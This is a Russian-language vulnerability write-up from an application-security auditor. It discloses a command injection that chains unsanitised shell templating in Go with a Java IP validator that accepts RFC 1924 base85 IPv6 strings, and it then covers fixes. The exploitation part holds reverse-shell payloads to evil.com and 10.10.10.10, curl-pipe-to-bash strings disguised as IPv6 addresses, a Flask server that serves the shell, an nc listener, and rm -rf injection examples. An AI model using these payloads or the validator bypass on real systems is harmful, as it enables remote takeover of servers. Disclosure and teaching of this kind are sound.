От RFC до RCE, или как неожиданная особенность библиотечного метода стала причиной уязвимости
Дисклеймер 1. На момент публикации статьи уязвимость устранена. От заказчика получено разрешение на обезличенное раскрытие уязвимости. Описанное окружение носит иллюстративный характер — задействованные сервисы являются модельными, характеристики реальных сервисов в них сохранены в пределах минимума, необходимого для воспроизведения уязвимости. Приведенные для иллюстрации фрагменты кода подготовлены для наглядной демонстрации обсуждаемых недостатков и не являются реальными выдержками из кода сервисов.
Дисклеймер 2. Статья носит образовательный характер. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону
Вступление
Привет! Меня зовут Александр, я занимаюсь анализом защищенности приложений в компании SolidLab. В этой статье хочу рассказать об интересной уязвимости, которая была обнаружена мной во время аудита приложения в облачной инфраструктуре заказчика.
По сути уязвимость является примером внедрения системных команд (OS command injection), но есть особенности. Во-первых, действие происходит в облачной инфраструктуре и завязано на взаимодействии двух облачных сервисов. Во-вторых, одной из неожиданных причин возникновения уязвимости заключается в том, что используемая сторонняя библиотека поддерживает специфичный стандарт (англ. Request For Comments, RFC).
В первой части статьи подробно разобран процесс обнаружения уязвимости в исходном коде сервисов, а также процесс формирования полезной нагрузки и эксплуатации.
Вторая часть статьи посвящена разбору лучших практик защищенной разработки, который могут быть использованы для устранения уязвимости. При разработке может быть непросто предугадать странности поведения сторонних библиотек и недостатки защищенности в других приложениях экосистемы. Однако, следование этим практикам во многих случаях может предотвратить перерастание таких ситуаций в критичные уязвимости.
Таким образом, материал будет полезен как специалистам по безопасности, так и разработчикам веб-приложений.
Описание окружения
Действие происходит в облачной инфраструктуре. Облачная инфраструктура представляет собой набор сервисов, которые позволяют пользователю выделять облачные ресурсы под определенные задачи и управлять ими. Типичным облачным ресурсом является виртуальная машина, на которой запускается некоторый конфигурируемый шаблонный сервис. Например, это может быть управляемая база данных, хранилище объектов или виртуальный сервер для вычислений.
Для организации сетевого взаимодействия между такими виртуальными машинами используются виртуальные программно-определяемые сети (англ. Software Defined Networks, SDN). Такие сети также являются облачными ресурсами, для управления которыми существуют свои облачные сервисы.
Краткий экскурс в программно-конфигурируемые сети
Этот раздел не претендует на полноту и не имеет прямого отношения к материалу статьи. Тем не менее, представление о программно-конфигурируемых сетях будет полезно для лучшего понимания описанных процессов.
В архитектуре сетей часто выделяют два логических уровня — управления и передачи данных.
Уровень управления (англ. Control Plane) отвечает за принятие решений о движении трафика. На этом уровне работают протоколы маршрутизации и коммутации, формируются соответствующие таблицы.
Уровень передачи данных (англ. Data Plane) отвечает за движение трафика на основании инструкций, получаемых от уровня управления. Например, к данному уровню относится процесс передачи пакетов от входного порта коммутатора на выходной порт в соответствии с таблицей коммутации.
В традиционных сетях каждое устройство (например, коммутатор или роутер) одновременно выполняет функции обоих уровней. В программно-определяемой сети (англ. Software Defined Network, SDN) уровень управления перенесен из сетевых устройств в логически централизованный программный компонент — SDN-контроллер. Сетевые устройства при этом выполняют только задачи передачи данных в соответствии с инструкциями, получаемыми от SDN-контроллера. Интерфейс между этими уровнями называют южным (англ. Southbound-interface).
Такой подход позволяет динамически создавать и настраивать виртуальные сетевые ресурсы поверх традиционных физических сетей, которые используются только в качестве уровня передачи данных. В результате, в архитектуре SDN появляется дополнительный уровень приложений (англ. Application Plane). Этот уровень включает в себя приложения, которые посредством взаимодействия с SDN-контроллером запрашивают сетевые ресурсы и управляют ими в соответствии со своими потребностями. Интерфейс между уровнем приложений и уровнем управления называют северным (англ. Northbound-interface).
Архитектура программно-конфигурируемых сетей
В данной статье нам будут интересны два облачных сервиса:
Сервис
SUBNETSRV
, который предназначен для создания и управления виртуальными сетями и подсетями. Помимо прочего, API сервиса позволяет пользователю задавать перечень частных DNS-серверов. Впоследствии, адреса этих серверов будут переданы по протоколу DHCP на узлы подсети. Это позволит настраивать разрешение доменных имен на узлах подсети в соответствии с потребностями пользователя.Сервис
MONITORSRV
, через который пользователь может инициировать в подсетях выполнение задач мониторинга. Мониторинг осуществляется с помощью сервисной виртуальной машины (так называемого воркера), подключаемого к целевой подсети. Воркер представляет собой шаблонный сервис и после запуска требует дополнительной настройки. Для этого при деплое воркера предусмотрена возможность передачи набора шелл-команд, которые будут выполнены внутри воркера на определенном этапе инициализации.
Архитектурно оба сервиса принадлежат к одной экосистеме. При выполнении определенных задач сервис MONITORSRV
обращается к сервису SUBNETSRV
за определенными сетевыми услугами. Таким образом, в терминах программно-определяемых сетей, SUBNETSRV
относится к уровню управления, а MONITORSRV
— к уровню приложений. Рассмотрим модельный пример работы с этими сервисами — создание подсети и запуск мониторинга.
Схема взаимодействия SUBNETSRV и MONITORSRV при запуске мониторинга в подсети.
Пользователь запрашивает у сервиса SUBNETSRV создание подсети с указанными параметрами. В числе переданных параметров — адреса частных DNS-серверов.
Сервис SUBNETSRV создает и настраивает подсеть SUBNET1.
Пользователь запрашивает у сервиса MONITORSRV запуск мониторинга в подсети SUBNET1.
Сервис MONITORSRV запрашивает параметры подсети SUBNET1 у сервиса SUBNETSRV. Среди параметров — настроенные на шаге 1 адреса DNS-серверов. Для того, чтобы воркер мог корректно разрешать пользовательские доменные имена, сервис MONITORSRV настраивает его для работы с этими DNS-серверами. Для этого формируются команды вида
ip route add
.via 10.10.0.1 Сервис MONITORSRV деплоит в подсети SUBNET1 воркер WORKER1, передавая сформированные команды.
Воркер запускается и выполняет команды. После инициализации воркер собирает информацию о состоянии подсети и передает сервису MONITORSRV.
Обнаружение уязвимости методом белого ящика
Уязвимость была обнаружена в рамках анализа сервиса MONITORSRV
методом белого ящика, то есть с доступом к исходному коду. Примечательно, что уязвимость сложилась из трех недостатков, каждый из которых по отдельности не создает значительных рисков. Рассмотрим процесс поиска и обнаружения этих недостатков в коде сервисов в хронологическом порядке.
Небезопасный подход к формированию системной команды
Первые признаки возможной уязвимости обнаруживаем в коде сервиса MONITORSRV
. При подготовке initCmds
— системных команд для инициализации воркера — значения переменных dnsServers
и gateway
подставляются в шаблон команды без санитизации.
initCmds := []string{}
for _, ns := range dnsServers {
// Если ns=";rm –rf /;#", то cmd="ip route add;rm -rf /;# ..."
cmd := fmt.Sprintf("ip route add %s via %s", ns,
gateway)
append(initCmds, cmd)
}
// Далее сформированные команды initCmds передаются воркеру и выполняются командным интерпретатором
В результате, если эти переменные будут содержать вредоносные значения, это может привести к возможности инъекции команд. Однако, исходя из только из этого фрагмента кода нельзя утверждать, что существует уязвимость. Значения могут корректно валидироваться при получении или не быть подконтрольными пользователю.
Отсутствие валидации данных, получаемых от сервиса той же экосистемы
Отследив поток данных вверх до точек получения адресов DNS-серверов подсети dnsServers
и шлюза по умолчанию gateway
убеждаемся, что эти значения запрашиваются у сервиса SUBNETSRV
.
var rawGateway string
// Запрос шлюза по умолчанию у сервиса SUBNETSRV
rawGateway = subnetSrv.GetDefaultGateway(id)
var gateway net.IP
// Если rawGateway=";rm –rf /;#", то вернется nil
if gateway = net.ParseIP(rawGateway); gateway == nil {
// IP-адрес не валидный, обработка ошибки
}
var dnsServers []string
// Запрос DNS-серверов подсети у сервиса SUBNETSRV
dnsServers = subnetSrv.GetDnsServers(id)
// Далее dnsServers используется как есть, без валидации
При этом адрес шлюза валидируется с помощью метода net.ParseIP
и сохраняется в переменную gateway
в виде объекта класса net.IP
. При подстановке в системную команду неявно вызывается метод net.IP.String
(https://pkg.go.dev/net#IP.String), который возвращает нормализованное строковое представление IP-адреса. Такой подход в данном случае исключает возможность инъекции вредоносных конструкций через адрес шлюза.
В свою очередь, адреса DNS-серверов сохраняются и используются без каких-либо преобразований. Если подсеть может быть настроена таким образом, чтобы сервис SUBNETSRV
возвращал в качестве адресов DNS-серверов вредоносные значения (например, ;bash -i >& /dev/tcp/evil.com/4444 0>&1 &;#
), это приведет к RCE.
Некорректная валидация IPv6-адресов
Переключаемся на сервис SUBNETSRV
. Выясняем, что DNS-сервера для подсети могут настраиваться непосредственным образом через API сервиса. Убеждаемся, что на наивную попытку установить ;bash -i >& /dev/tcp/evil.com/4444 0>&1 &;#
в качестве адреса DNS-сервера сервис отвечает недовольным Address is not valid
.
Находим в коде SUBNETSRV
валидацию IP-адресов и узнаем, что она осуществляется посредством парсинга строки с помощью конструктора класса IPAddressString
и считается успешно пройденной в том случае, если во время парсинга не было сгенерировано исключений.
private static void validateIpAddress(String ipString) throws AddressStringException {
try {
// Объектное представление IP-адреса, полученное в результате парсинга, не сохраняется
new IPAddressString(ipString).toAddress();
} catch (AddressStringException e) {
// Валидация считается не пройденной, если выброшено исключение
// В противном случае валидация считается пройденной
throw new AddressStringException("Address is not valid");
}
}
Эта валидация плоха по двум причинам. Во-первых, полученное в парсинга объектное представление IP-адреса отбрасывается. Вместо него сервис использует исходное полученное от пользователя значение IP-адреса. В зависимости от реализации используемого парсера, такой подход может позволить злоумышленнику формировать валидные с точки зрения парсера адреса, содержащие вредоносные конструкции. Например, толерантный к ошибкам парсер может извлекать из передаваемой строки первое вхождение валидого IP-адреса и отбрасывать все остальное. Проблема может возникнуть также в том случае, если парсер поддерживает нестандартные представления IP-адресов.
Во-вторых, в данном случае для парсинга строки используется конструктор класса net.ipaddr.IPAddressString (см. https://javadoc.io/doc/com.github.seancfoley/ipaddress/4.3.1/inet/ipaddr/IPAddressString.html). С первых секунд чтения документации этого класса становится понятно, что он был задуман максимально толерантно по отношению ко всевозможным форматам IP-адресов и сценариям использования. Но один момент особенно примечателен.
Выдержка из документации метода IPAddressString.
4)+k&C#VzJ4br>0wv%Yp
— валидный IPv6 адрес? Выглядит нехорошо. Утверждается, что этот формат определен в неком RFC 1924. Переходим по ссылке, осматриваемся. Заинтересованным читателям рекомендую пробежать глазами, документ легко читается и весьма интересный. Ниже интересующая нас выдержка.
This document specifies a new encoding, which can always represent
any IPv6 address in 20 octets.
…
The character set to encode the 85 base85 digits, is defined to be,
in ascending order:
'0'…'9', 'A'…'Z', 'a'…'z', '!', '#', '$', '%', '&', '(',
')', '*', '+', '-', ';', '<', '=', '>', '?', '@', '^', '_',
'`', '{', '|', '}', and '~'.
This set has been chosen with considerable care.
Предлагается схема компактного кодирования для IPv6-адресов. Подход похожий на base64 — IPv6 представляется в виде 128-битового числа, которое 20 раз делится с остатком на 85. Каждому из 20 остатков от деления сопоставляется один из 85-ти символов алфавита кодирования. Алфавит приведен в цитате выше.
То есть, кодировка позволяет формировать валидные IPv6-адреса с широким набором нестандартных символов, многие из которых имеют специальное значение в контексте подстановки из первого недостатка:
cmd := fmt.Sprintf("ip route add %s via %s", ns, gateway)
Даже несмотря на отсутствие в этом наборе таких любимых нами (специалистами Offensive Security) символов, как .'"\/
и пробела, доступного инструментария более чем достаточно для того, чтобы наделать гадостей. Внезапно конструкции ;oO=0x0a0a0a0a;#####
и ;curl${IFS}$oO|bash;
оказываются валидными IPv6-адресами.
Внимательный читатель мог обратить внимание на дату публикации — 1 апреля 1996. Очевидно, авторы библиотеки seancfoley/ipaddress
(а вместе с ним все ее пользователи) стали жертвами черного юмора авторов спецификации (см. Первоапрельские RFC).
RFC 1924 опубликован 1 апреля 1996.
Как эксплуатировать
Для начала разберемся, как сформированы конструкции ;oO=0x0a0a0a0a;#####
и ;curl${IFS}$oO|bash;
. Прежде всего, отметим, что каждая из них состоит ровно из 20 символов алфавита, описанного в RFC 1924, т. е. с точки зрения класса IPAddressString они будут являться валидными IPv6-адресами.
Первая конструкция ;oO=0x0a0a0a0a;#####
начинается с символа ;
, завершающего контекст предыдущей команды ip route add
. Далее следует oO=0x0a0a0a0a
— присвоение переменной окружения $oO
значения 0x0a0a0a0a
. Это значение является шестнадцатеричным представлением IP-адреса 10.10.10.10. Его можно получить с помощью онлайн-конвертера (например https://www.browserling.com/tools/ip-to-hex) или команды
IP="10.10.10.10"
echo 0x$(echo $IP | tr '.' ' ' | xargs printf '%02X')
Использование шестнадцатеричного формата обусловлено тем, что в алфавите RFC отсутствует символ .
, поэтому конструкция;oO=10.10.10.10;####
не пройдет валидацию.
Далее следуют символы ;
и #
. Они нужны прежде всего для того, чтобы довести длину конструкции до 20 в соответствии с требованиями RFC. Кроме того, остаток шаблона команды via 10.10.0.1
окажется в комментарии (после символа #
) и будет проигнорирован интерпретатором.
Вторая конструкция ;curl${IFS}$oO|bash;
аналогично начинается с символа ;
для того, чтобы выйти из контекста предыдущей команды. Далее следует вызов команды curl
, в которую передается в качестве аргумента IP-адрес в шестнадцатеричном формате 0x0a0a0a0a
, сохраненный ранее в переменной $oO
. Разделителем между командой и аргументом служит переменная IFS. В bash по умолчанию она содержит пробел, которого также нету в алфавите RFC. Команда curl
выполнит HTTP-запрос по указанному адресу. Далее результат ее выполнения передается в стандартный ввод bash
, который выполнит полученную полезную нагрузку как системную команду.
Предположим, что мы контролируем узел, доступный с воркера по адресу 10.10.10.10. Тогда у нас есть все необходимое для получения полного контроля над воркером. Ниже представлены шаги, которые позволили проэксплуатировать уязвимость и получить от воркера командное соединение с root-правами.
Обращаемся к сервису
SUBNETSRV
и устанавливаем;oO=0x0a0a0a0a;####
и;curl${IFS}$oO|bash;
в качестве DNS-серверов целевой подсетиSUBNET1
(шаг 1 на диаграмме ниже).Сервис SUBNETSRV создает и настраивает подсеть SUBNET1.
Разворачиваем HTTP-сервер, отдающий классическую полезную нагрузку для получения reverse shell
bash -i >& /dev/tcp/10.10.10.10/1234 0>&1 &
.
# Исходный код HTTP-сервера
# pwn.py
from flask import Flask
addr = '10.10.10.10'
port = 1234
app = Flask(name)
@app.route("/")
def pwn():
return f'bash -i >& /dev/tcp/{addr}/{port} 0>&1 &'
app.run(ip, '80')
С помощью команд ниже запускаем описанный HTTP-сервер, а также слушающий netcat на 1234 порту для получения командного соединения
python3 pwn.py
nc -nlp 1234
Обращаемся к сервису
MONITORSRV
— запрашиваем запуск мониторинга в подсетиSUBNET1
.После получения нашего запроса
MONITORSRV
запросит параметры подсетиSUBNET1
у сервисаSUBNETSRV
и подставит полученные адреса DNS-серверов в команды инициализации воркера.Далее, сформированные команды будут переданы воркеру и выполнены интерпретатором команд.
Убеждаемся, что в результате выполнения внедренных команд воркер устанавливает командное соединение с узлом 10.10.10.10 на порту 1234. Воркер захвачен.
Демонстрация эксплуатации уязвимости.
Как исправить
Поведение сервисов при попытке эксплуатации после устранения недостатков.
В этом разделе мы обсудим, как можно подойти к исправлению каждого из недостатков.
Небезопасный подход к формированию системной команды
Фрагмент кода, подверженный недостатку:
initCmds := []string{}
for _, ns := range dnsServers {
// Если ns=";rm –rf /;#", то cmd="ip route add;rm -rf /;# ..."
cmd := fmt.Sprintf("ip route add %s via %s", ns,
gateway)
append(initCmds, cmd)
}
// Далее сформированные команды initCmds передаются воркеру и выполняются командным интерпретатором
Решение 1. Отказ от использования интерпретатора системных команд
Самым эффективным средством для профилактики внедрения вредоносных конструкций в системные команды является отказ от использование командного интерпретатора. В языке Go для вызова системных команд может быть использован метод os/exec.Command
. Ниже приведены два фрагмента кода, показывающие разницу между непосредственным вызовом команды и использованием командного интерпретатора bash
.
args := []string("route", "add", ns, "via", gateway)
// Командный интерпретатор не используется, уязвимости нет
exec.Command("ip", args)
cmd := fmt.Sprintf("ip route add %s via %s", ns, gateway)
// Используется командный интерпретатор, существует риск инъекции
exec.Command("bash", "-c", cmd)
Вызов команды без интерпретатора явным образом разделяет контекст управляющих конструкций и контекст данных и, таким образом, делает невозможным выход из контекста данных через инъекции специальных символов.
Решение 2. Санитизация
В данном случае из-за архитектурных особенностей сервиса MONITORSRV
(команды формируются на одной машине, а выполняются на другой), отказ от непосредственного формирования и вызова системных команд с помощью командного интерпретатора может потребовать значительных изменений в ряде задействованных подсистем.
Альтернативным решением, которое значительно легче реализовать, может быть санитизация динамических значений перед подстановкой в системные команды. Это решение позволит устранить описанную уязвимость и значительно снизить риск возникновения аналогичных проблем при выполнении следующих условий:
Санитизация должна проводиться перед каждой подстановкой динамических данных в системные команды.
Санитизация должна учитывать синтаксис и особенности конкретного целевого интерпретатора системных команд. Например, если известно, что команды будут переданы интерпретатору bash, то для корректной санитизации может быть использован метод
shellescape.Quote
(https://pkg.go.dev/github.com/alessio/shellescape#Quote).
import "github.com/alessio/shellescape"
...
// Если в качестве интерпретатора комад используется POSIX-соместимый интерпретатор, то уязвимости нет
cmd := fmt.Sprintf("ip route add %s via %s", shellescape.Quote(ns), gateway)
Однако следует помнить, что использование shellescape.Quote
с не POSIX-совместимыми (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/contents.html) интерпретаторами со значительной вероятностью уязвимость не устранит. Например, если аналогичным образом будут формироваться команды для cmd.exe
, то экранирование данных с помощью shellescape.Quote
не защитит от возможной инъекции системных команд.
import "github.com/alessio/shellescape"
...
// Если в качестве командного интерпретатора используется cmd.exe, санитизация с помощью shellescape.Quote может привести к уязвимости
cmd := fmt.Sprintf("route add %s mask 255.255.255.255 %s", shellescape.Quote(ns), gateway)
// gateway: "10.10.0.1"
// ns: "&echo pwned & ::"
// shellescape.Quote(ns): "'&echo pwned & ::'"
// cmd: route add '&echo pwned & ::' mask 255.255.255.255 10.10.0.1
Санитизация должна реализовываться с учетом контекста подстановки. Санитизация, не соответствующая контексту подстановки, с большой вероятностью не устранит уязвимость. Например, приведенный ниже фрагмент кода все еще уязвим к внедрению системных команд.
import "github.com/alessio/shellescape"
...
// Санитизация не соответствует контексту подстановки => уязвимость
cmd := fmt.Sprintf("ip route add '%s' via %s", shellescape.Quote(ns), gateway)
Таким образом, при использовании этого подхода следует помнить, что выполнение динамически формируемых системных команд с помощью командного интерпретатора требует от разработчика внимательного подхода и глубоких низкоуровневых знаний о вызываемой команде, командном интерпретаторе и операционной системе.
Отсутствие валидации данных, получаемых от другого сервиса
Фрагмент кода, подверженный недостатку:
var rawGateway string
// Запрос шлюза по умолчанию у сервиса SUBNETSRV
rawGateway = subnetSrv.GetDefaultGateway(id)
var gateway net.IP
// Полученный от сервиса SUBNETSRV шлюз по умолчанию валидируется
gateway = net.ParseIP(rawGateway)
var dnsServers []string
// Запрос DNS-серверов подсети у сервиса SUBNETSRV
dnsServers = subnetSrv.GetDnsServers(id)
// Далее полученные от сервиса SUBNETSRV адреса DNS-серверов используются без валидации
Корректно и системно реализованная системная валидация может стать надежной защитой от инъекций. Рассмотрим некоторые общие соображения, которые позволят получить максимум защиты от валидации.
Когда и что валидировать
Валидировать нужно все без исключения недоверенные данные. Делать это следует как можно раньше после получения данных, чтобы максимально сократить количество компонент приложения, которые взаимодействуют с потенциально опасными невалидированными значениями.
Какие данные считать недоверенными
Для обеспечения максимальной защищенности недоверенными нужно считать все данные, получаемые от внешних по отношению к приложению источников. В том числе, это относится к другим сервисам той же экосистемы. Это может показаться избыточным, ведь все сервисы одной экосистемы обычно полностью подконтрольны компании. Тем не менее, описанная в этой статье уязвимость наглядно показывает, что такой подход позволит локализовать последствия недостатков в одном из сервисов экосистемы (в данном случае — в сервисе SUBNETSRV
) и исключить возможность абьюза доверительных отношений между сервисами.
Как валидировать
Для валидации IP-адресов может быть использован, например, метод net.ParseIP
— аналогично тому, как это сделано для шлюза по умолчанию. Пример для иллюстрации того, как этот метод может быть использован для валидации адресов DNS-серверов в данной ситуации, приведен ниже.
var rawGateway string
// Запрос шлюза по умолчанию у сервиса SUBNETSRV
rawGateway = subnetSrv.GetDefaultGateway(id)
var gateway net.IP
// Полученный от сервиса SUBNETSRV шлюз по умолчанию валидируется
gateway = net.ParseIP(rawGateway)
var rawDnsServers []string
// Запрос DNS-серверов подсети у сервиса SUBNETSRV
rawDnsServers = subnetSrv.GetDnsServers(id)
var dnsServers []net.IP
// Полученные от сервиса SUBNETSRV адреса DNS-серверов валидируются
for rawNs in rawDnsServers:
var ns net.IP
ns = net.ParseIp(rawNs)
if ns == nil {
// Обработка ошибки, сервис SUBNETSRV вернул некорректный IP-адрес
}
append(dnsServers, ns)
}
// Далее используем слайс dnsServers, rawDnsServers может содержать вредоносные значения
Недостаточная валидация и отсутствие нормализации IP-адресов, получаемых от пользователя
Фрагмент кода, подверженный недостатку
private static void validateIpAddress(String ipString) throws AddressStringException {
try {
// Объектное представление IP-адреса, полученное в результате парсинга, не сохраняется
new IPAddressString(ipString).toAddress();
} catch (AddressStringException e) {
// Валидация считается не пройденной, если выброшено исключение
// В противном случае валидация считается пройденной
throw new AddressStringException("Address is not valid");
}
}
Как уже было сказано, приведенная выше валидация не обеспечивает должной защищенности прежде всего из-за того, что после успешного парсинга с помощью конструктора класса IPAddressString (https://javadoc.io/doc/com.github.seancfoley/ipaddress/4.3.1/inet/ipaddr/IPAddressString.html) приложение сохраняет и использует исходное полученное от пользователя значение IP-адреса. Из-за особенности реализации класса IPAddressString, содержащее вредоносные конструкции значение может пройти валидацию.
// Валидный с точки зрения метод validateIpAddress IPv6-адрес
String rawIpAddress = ";curloO|bash;";
// Валидация пройдена успешно, полученное в результате парсинга объектное представление не сохраняется
validateIpAddress(rawIpAddress);
// Далее используется исходное строковое значение
System.out.println(rawIpAddress);
// ;curloO|bash;
Для исправления недостатка достаточно добавить нормализацию получаемых от пользователя IP-адресов. Один из возможных подходов — сохранять объектное представление IP-адреса и с помощью метода toString
при необходимости получать безопасное нормализованное строковое представление.
В качестве возможного примера исправления может быть использован приведенный ниже метод parseIpAddress
.
private static IPAddress parseIpAddress(String ipString) throws AddressStringException {
IPAddress parsed;
try {
parsed = new IPAddressString(ipString).toAddress();
} catch (AddressStringException e) {
// Валидация считается не пройденной, если выброшено исключение
// В противном случае валидация считается пройденной
throw new AddressStringException("Address is not valid");
}
// Возвращается объектное представление IP-адреса, полученное в результате парсинга
return parsed;
}
Такой подход позволит работать с безопасным строковым представлением IP-адреса, даже если исходное полученное от пользователя значение содержало вредоносные конструкции.
// Валидный с точки зрения класса IPAddressString IPv6-адрес
String rawIpAddress = ";curloO|bash;";
// Объектное представление, полученное в результате парсинга, сохраняется
IPAddress parsed = parseIpAddress(rawIpAddress);
// Безопасное строковое представление IP-адреса получается неявным вызовом метода toString
System.out.println(parsed);
// f88e:dd10:2d7e:1029:113b:523e:a4a1:7d4d
Кроме того, следует аккуратно подходить к выбору сторонних библиотек, используемых для валидации. Если логика приложения не требует поддержки широкого набора форматов IP-адресов, от использования класса inet.ipaddr.IPAddressString лучше отказаться и реализовать более строгую валидацию в соответствии с потребностями приложения.
В целом, наилучшим архитектурным подходом к валидации является единая для приложения подсистема валидации. Она может быть реализована, например, в виде библиотеки методов валидации для основных понятий предметной области, в том числе для IP-адресов. Для достижения максимальной защищенности, единая подсистема валидации должна переиспользоваться во всех компонентах приложения, а правила ее использования должны быть закреплены в требованиях к разработке.
Заключение
На примере разобранной уязвимости видно, что причинами возникновения уязвимостей могут быть неожиданные особенности поведения сторонних библиотек и других приложений экосистемы. Поэтому важно проектировать сервисы в соответствии с лучшими практиками и сводить к минимуму доверие к внешним компонентам.